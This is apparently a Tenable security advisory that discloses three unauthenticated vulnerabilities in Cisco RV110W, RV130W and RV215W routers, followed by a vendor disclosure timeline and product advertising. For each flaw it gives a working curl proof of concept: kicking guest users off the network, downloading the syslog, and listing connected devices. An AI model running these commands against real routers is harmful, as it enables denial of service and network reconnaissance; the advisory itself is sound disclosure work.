Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Cisco RV110W, RV130W, and RV215W Routers Multiple Vulnerabilities

Medium

Synopsis

CVE-2019-1897: Guest Network Denial of Service

There is no authentication on guest_logout.cgi. An unauthenticated, remote attacker can leverage this to kick users from the guest network. To achieve this the victim's mac and ip address need to be known (see CVE-2019-1899 below). A proof of concept follows:

curl -vv -d "submit_button=status_guestnet.asp&change_action=&submit_type=&gui_action=&cip=10.0.1.100&cmac=10:08:B1:A0:82:29a" -H "Content-Type: application/x-www-form-urlencoded" -X POST http://10.0.0.1/guest_logout.cgi

CVE-2019-1898: Unauthenticated Access to the Syslog via HTTP

An attacker can download the device's syslog simply by executing the following command:

curl http://10.0.0.1/_syslog.txt

The syslog, normally only accessible after administrator authentication, contains useful information about what features are enabled, DHCP logs, PPTP logs, log in attempts and successes, etc. An attacker can learn what types of devices connect to the router and when. Some redacted examples:

2010-02-27 01:14:30 RV215W daemon.info httpd[477]: Invalid username or password from x.x.x.x.
2016-07-21 21:27:24 RV130W local2.notice pppd[1364]: local  IP address x.x.x.x
2016-07-21 21:27:24 RV130W local2.notice pppd[1364]: remote IP address x.x.x.x
2016-07-21 21:27:24 RV130W local2.notice pppd[1364]: primary   DNS address x.x.x.x
2016-07-21 21:27:24 RV130W local2.notice pppd[1364]: secondary DNS address x.x.x.x
2019-03-01 19:09:40 RV110W kern.info LAN2WLAN: Add entry: hash:32/33, cnt:6/6, index:8, sip:x.x.x.x, dip:x.x.x.x, smac:xx:xx:xx:xx:xx:xx
2019-03-02 05:00:40 RV215W kern.info wl0.0: IEEE 802.11 STA xx:xx:xx:xx:xx:xx associated with BSSID xx:xx:xx:xx:xx:xx
2019-03-04 06:48:17 RV215W daemon.info udhcpd[21385]: received REQUEST from xx:xx:xx:xx:xx:xx
2019-03-04 06:48:17 RV215W daemon.info udhcpd[21385]: sending ACK to x.x.x.x

CVE-2019-1899: Connected Device Information Dislcosure

An unauthenticated, remote attacker can acquire the list of all devices that have connected to the router. An example follows:

curl -d "submit_button=status_guestnet.asp&change_action=&submit_type=&gui_action=&cip=20.0.0.0&cmac=aa:aa:aa:aa:aa:aa" -H "Content-Type: application/x-www-form-urlencoded" --insecure -X POST https://10.0.0.1/guest_logout.cgi | grep datalist | grep new
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   109    0     0  100   109      0    946 --:--:-- --:--:-- --:--:--   947
curl: (52) Empty reply from server
100  7076    0  6967  100   109  19038    297 --:--:-- --:--:-- --:--:-- 19038
var datalist = new Array();
datalist[0] = new AAA('','192.168.50.1','40:B0:76:2A:C2:14','1','0','WAN interface');
datalist[1] = new AAA('ubuntu','10.0.0.102','00:0C:29:15:4C:FC','0','0','Ethernet LAN');
datalist[2] = new AAA('TNS3791L','10.0.0.101','AC:87:A3:31:51:CA','0','0','Ethernet LAN');

Disclosure Timeline

03/04/2019 - Informed Cisco PSIRT.
03/04/2019 - Cisco assigns PSIRT-0456252928.
03/06/2019 - Cisco indicates they are investigating.
03/19/2019 - Tenable asks for an update.
04/03/2019 - Tenable asks for an update.
04/03/2019 - Cisco has nothing to report yet.
04/30/2019 - Tenable asks for an update.
05/02/2019 - Cisco indicates publication in second half of May.
05/14/2019 - Tenable asks if Cisco has a publication date scheduled.
05/16/2019 - Cisco states regression tests are ongoing. Targeting late May.
05/29/2019 - Tenable asks Cisco for an update.
05/31/2019 - Cisco asks for an extension to June 19. Provides CVE assignments and publication URLs.
05/31/2019 - Tenable thanks Cisco and agrees to June 19 disclosure.
05/31/2019 - Cisco acknowledges the June 19 agreement.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Try for Free Buy Now

Try Tenable.io

FREE FOR 30 DAYS

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now.

Buy Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

$2,275

Buy Now

Try for Free Buy Now

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, email, community and chat support 24 hours a day, 365 days a year. Full details here.

Try for Free Buy Now

Try Tenable.io Web Application Scanning

FREE FOR 30 DAYS

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try for Free Contact Sales

Try Tenable.io Container Security

FREE FOR 30 DAYS

Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Learn More about Industrial Security

Get a Demo of Tenable.sc

Please fill out the form below with your contact information and a sales representative will contact you shortly to schedule a demo. You may also include a short comment (limited to 255 characters). Please note that fields with asterisks (*) are mandatory.

Try for Free Contact Sales

Try Tenable Lumin

FREE FOR 30 DAYS

Visualize and explore your Cyber Exposure, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Buy Tenable Lumin

Contact a Sales Representative to see how Lumin can help you gain insight across your entire organization and manage cyber risk.